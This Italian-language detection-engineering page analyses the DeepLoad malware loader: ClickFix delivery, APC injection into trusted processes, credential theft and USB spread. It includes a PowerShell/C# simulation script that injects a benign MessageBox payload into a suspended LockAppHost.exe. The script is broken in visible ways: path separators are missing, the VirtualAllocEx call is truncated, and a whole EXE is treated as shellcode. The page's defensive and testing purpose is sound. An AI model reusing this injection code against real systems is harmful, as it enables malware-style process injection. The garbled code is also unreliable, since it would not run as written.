DeepLoad Malware Spiegato: Distribuzione ClickFix e Furto di Credenziali
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
DeepLoad è un malware loader senza file osservato per la prima volta nel marzo 2026 che si diffonde tramite una tattica di ingegneria sociale nota come ClickFix, la quale persuade gli utenti a eseguire un comando PowerShell dannoso. Una volta eseguito, il loader decrittografa il suo payload in memoria e lo inietta in processi Windows fidati attraverso chiamate di procedura asincrone. Successivamente, distribuisce un ladro di credenziali chiamato filemanager.exe insieme a un’estensione del browser malevola per rubare le password salvate e registrare i tasti digitati. Il malware può anche diffondersi attraverso unità USB lasciando numerosi file di scorciatoia che riavviano la catena di infezione su un altro sistema.
Indagine
La ricerca delinea il comando iniziale utilizzato per recuperare il loader PowerShell da un server remoto, le tecniche di offuscamento applicate durante l’esecuzione e l’iniezione di processo basata su APC in binari come LockAppHost.exe. Descrive anche i due componenti separati per il furto di credenziali e il metodo di movimento laterale basato su USB che utilizza .lnk file travestiti da installatori di software comuni. Il rapporto fa ulteriori riferimenti ai moduli di simulazione Picus che possono essere utilizzati per testare le difese contro questo comportamento.
Mitigazione
I difensori dovrebbero bloccare l’esecuzione di comandi PowerShell non fidati, monitorare la creazione sospetta di attività pianificate e l’uso anormale di mshta.exe, e applicare controlli di esecuzione rigorosi per gli script di PowerShell. La rilevazione di iniezioni basate su APC, il monitoraggio di .lnk file sospetti su supporti rimovibili e la limitazione della memorizzazione delle credenziali del browser possono contribuire a ridurre l’impatto. È inoltre raccomandata una protezione degli endpoint che possa ispezionare il comportamento di decrittazione e iniezione in memoria.
Risposta
Se viene rilevata un’attività DeepLoad, isolare immediatamente l’endpoint colpito, terminare i processi sospetti come filemanager.exe e qualsiasi binario fidato che mostri segni di iniezione, e rimuovere eventuali attività pianificate create dal malware. Resettare le credenziali per gli account compromessi, eseguire una scansione dei supporti rimovibili per i file di scorciatoia malevoli e svolgere un’analisi forense per identificare eventuali meccanismi di persistenza. Le regole di rilevamento devono essere aggiornate per coprire i modelli di linea di comando osservati e le tecniche di iniezione.
graph TB %% Definizioni delle Classi classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef file fill:#ccffcc classDef malware fill:#ff99cc classDef process fill:#ccccff classDef shortcut fill:#ffff99 classDef extension fill:#ffeb99 %% Nodi action_user_execution[“<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla Malevolo</b><br/>La vittima esegue un comando PowerShell incollato da un falso prompt ClickFix.”] class action_user_execution action tool_powershell[“<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Descrizione</b>: Motore di scripting Windows utilizzato per scaricare ed eseguire il payload.<br/><b>Tecnica</b>: T1059.001”] class tool_powershell tool file_loader[“<b>File</b> – <b>Nome</b>: Script loader PowerShell<br/><b>Contenuto</b>: Variabili fittizie, shellcode cifrato XOR e risoluzione dinamica delle API.”] class file_loader file action_obfuscation[“<b>Azione</b> – <b>T1027 File o Informazioni Offuscati</b><br/>Utilizza variabili fittizie, cifratura XOR e risoluzione dinamica delle API.”] class action_obfuscation action action_reflective_loading[“<b>Azione</b> – <b>T1620 Caricamento Riflessivo del Codice</b><br/>Decifra lo shellcode e lo carica direttamente in memoria.”] class action_reflective_loading action malware_reflective_shellcode[“<b>Malware</b> – <b>Nome</b>: Shellcode in memoria<br/><b>Comportamento</b>: Viene eseguito dopo il caricamento riflessivo.”] class malware_reflective_shellcode malware shortcut_mod[“<b>Collegamento</b> – <b>T1547.009 Modifica dei Collegamenti</b><br/>Oltre 40 file .lnk scritti su USB, mascherati da installer.”] class shortcut_mod shortcut action_lnk_icon_smuggling[“<b>Azione</b> – <b>T1027.012 Contrabbando di Icone LNK</b><br/>Le icone incorporano payload malevoli nei file di collegamento.”] class action_lnk_icon_smuggling action action_taint_shared[“<b>Azione</b> – <b>T1080 Contaminazione di Contenuti Condivisi</b><br/>I collegamenti USB si propagano ad altre macchine quando l’unità viene utilizzata.”] class action_taint_shared action process_lockapp[“<b>Processo</b> – <b>Nome</b>: LockAppHost.exe”] class process_lockapp process process_makecab[“<b>Processo</b> – <b>Nome</b>: makecab.exe”] class process_makecab process process_magnify[“<b>Processo</b> – <b>Nome</b>: Magnify.exe”] class process_magnify process action_process_injection[“<b>Azione</b> – <b>T1055 Iniezione di Processo / T1055.012 Process Hollowing</b><br/>Il loader inietta shellcode in processi affidabili tramite APC.”] class action_process_injection action extension_browser[“<b>Estensione</b> – <b>T1176 Estensioni Software</b><br/>Estensione browser malevola installata per catturare credenziali e cookie.”] class extension_browser extension file_stealer[“<b>File</b> – <b>Nome</b>: filemanager.exe<br/><b>Tecnica</b>: Dump delle credenziali da browser e gestori di password.”] class file_stealer file action_cred_browser[“<b>Azione</b> – <b>T1555.003 Credenziali dai Browser Web</b><br/>Estrae le password salvate.”] class action_cred_browser action action_cred_manager[“<b>Azione</b> – <b>T1555.005 Credenziali dai Gestori di Password</b><br/>Estrae le password archiviate.”] class action_cred_manager action action_cookie_steal[“<b>Azione</b> – <b>T1539 Furto di Cookie di Sessione Web / T1185 Hijacking della Sessione del Browser</b><br/>Cattura i cookie di sessione tramite l’estensione.”] class action_cookie_steal action %% Connessioni action_user_execution –>|esegue| tool_powershell tool_powershell –>|esegue| file_loader file_loader –>|contiene| action_obfuscation action_obfuscation –>|abilita| action_reflective_loading action_reflective_loading –>|carica| malware_reflective_shellcode malware_reflective_shellcode –>|inietta| action_process_injection action_process_injection –>|prende di mira| process_lockapp action_process_injection –>|prende di mira| process_makecab action_process_injection –>|prende di mira| process_magnify action_user_execution –>|crea| shortcut_mod shortcut_mod –>|usa| action_lnk_icon_smuggling shortcut_mod –>|si propaga tramite| action_taint_shared file_stealer –>|installa| extension_browser file_stealer –>|estrae| action_cred_browser file_stealer –>|estrae| action_cred_manager extension_browser –>|cattura| action_cred_browser extension_browser –>|cattura| action_cred_manager extension_browser –>|ruba| action_cookie_steal
Flusso di Attacco
Rilevamenti
Download o Upload tramite Powershell (via cmdline)
Visualizza
Connessione Malware DeepLoad HTTP a IP Malevolo [Connessione di Rete Windows]
Visualizza
Rilevamento Iniezione di Processo Basata su APC DeepLoad [Creazione di Processo Windows]
Visualizza
Esecuzione Comando PowerShell Malware DeepLoad [Windows Powershell]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-Flight Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione dell’Attacco & Comandi:
L’attaccante ha consegnato uno script PowerShell malevolo (il “loader”) che funziona nel contesto dell’utente connesso (Esecuzione Utente – T1204). Il loader esegue i seguenti passi:
- Preparare il payload – scrive un binario C compilato (il “payload”) in
%TEMP%. - Creare un’istanza sospesa di un processo fidato (
LockAppHost.exe) utilizzandoCreateProcessAcon il flagCREATE_SUSPENDED. - Iniettare il payload nel processo sospeso chiamando
WriteProcessMemoryper copiare il binario nello spazio di indirizzi del target. - Mettere in coda un APC (
QueueUserAPC) che punta al punto di ingresso del payload, facendo sì che il payload venga eseguito quando il thread target riprende. - Riprendere il thread, completando l’iniezione.
Questa sequenza esatta genera un singolo evento di creazione del processo per
LockAppHost.exeil cuiSysmonIl campo CallTrace contiene le tre chiamate API relative all’iniezione, soddisfacendo la regola Sigma. - Preparare il payload – scrive un binario C compilato (il “payload”) in
-
Script per il Test di Regressione:
# Simulazione di Iniezione Basata su APC DeepLoad (PowerShell + Compilazione in memoria C#) # -------------------------------------------------------------- # 1. Compilare un payload C minimale (MessageBox) per ottenere un EXE temporaneo $payloadSource = @" #include <windows.h> int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) { MessageBoxA(NULL, "Injected by DeepLoad", "Success", MB_OK); return 0; } "@ $tempDir = "$env:TEMPDeepLoadDemo" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $cFile = "$tempDirpayload.c" $exeFile = "$tempDirpayload.exe" $payloadSource | Set-Content -Path $cFile -Encoding ASCII # Usare il compilatore Visual C++ se disponibile; fallback all'Add-Type di PowerShell (crea una DLL, non un EXE) if (Get-Command cl.exe -ErrorAction SilentlyContinue) { & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile } else { Write-Error "Compilatore C non trovato – compilazione manuale richiesta." exit 1 } # 2. Preparare l'iniezione $targetPath = "C:WindowsSystem32LockAppHost.exe" $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo $STARTUPINFO.FileName = $targetPath $STARTUPINFO.Arguments = "" $STARTUPINFO.RedirectStandardOutput = $false $STARTUPINFO.UseShellExecute = $false $proc = New-Object System.Diagnostics.Process $proc.StartInfo = $STARTUPINFO $proc.StartInfo.CreateNoWindow = $true $proc.StartInfo.Verb = "runas" # assicurarsi di avere privilegi elevati se necessario # Creare processo sospeso $pInfo = New-Object System.Diagnostics.ProcessStartInfo $pInfo.FileName = $targetPath $pInfo.Arguments = "" $pInfo.UseShellExecute = $false $pInfo.CreateNoWindow = $true $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new() $procStartInfo.FileName = $targetPath $procStartInfo.Arguments = "" $procStartInfo.UseShellExecute = $false $procStartInfo.CreateNoWindow = $true # Definizioni P/Invoke $sig = @" using System; using System.Runtime.InteropServices; public class Native { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint ResumeThread(IntPtr hThread); public const uint CREATE_SUSPENDED = 0x00000004; public const uint MEM_COMMIT = 0x1000; public const uint PAGE_EXECUTE_READWRITE = 0x40; [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } } "@ Add-Type $sig # Inizializzare le strutture $si = New-Object Native+STARTUPINFO $pi = New-Object Native+PROCESS_INFORMATION $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si) # Creare LockAppHost sospesa $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $created) { Write-Error "CreateProcessA fallito: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" exit 1 } # Leggere il binario del payload $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile) # Allocare memoria nel target $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length, if ($remoteAddr -eq [IntPtr]::Zero) { Write-Error "VirtualAllocEx fallito." exit 1 } # Scrivere il payload $bytesWritten = [UIntPtr]::Zero $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten) if (-not $writeOk) { Write-Error "WriteProcessMemory fallito." exit 1 } # Mettere in coda l'APC (puntando al punto di ingresso del payload) $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero) # Riprendere il thread per eseguire APC [Native]::ResumeThread($pi.hThread) | Out-Null Write-Host "Iniezione completata – il payload dovrebbe apparire a breve." -
Comandi di Pulizia:
# Terminare l'istanza iniettata di LockAppHost (se ancora in esecuzione) Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force # Rimuovere i file temporanei Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"
Risultati di Validazione (da compilare dopo l’esecuzione)
- Regola Attivata: Sì / No
- Numero di Allerte Generate: ___
- Controllo Falsi Positivi: Un’esecuzione benigna non ha prodotto allerte (come confermato dalla query di validazione).
Sommario Raccomandazioni
- Correlazione tra Eventi – Aggiungere una regola secondaria che osservi per eventi di
WriteProcessMemoryorQueueUserAPCche si verificano entro un breve lasso di tempo da un evento diLockAppHost.execreazione. - Ampliare l’Ambito Immagine – Includere altri binari fidati comunemente abusati per l’iniezione APC (es.
svchost.exe,explorer.exe). - Arricchimento Comportamentale – Segnalare i processi che caricano DLL non firmate o eseguono da
%TEMP%dopo l’iniezione. - Mitigazione dell’Evasione – Monitorare le stesse chiamate API suddivise tra più processi, poiché attualmente evitano la condizione di evento singolo.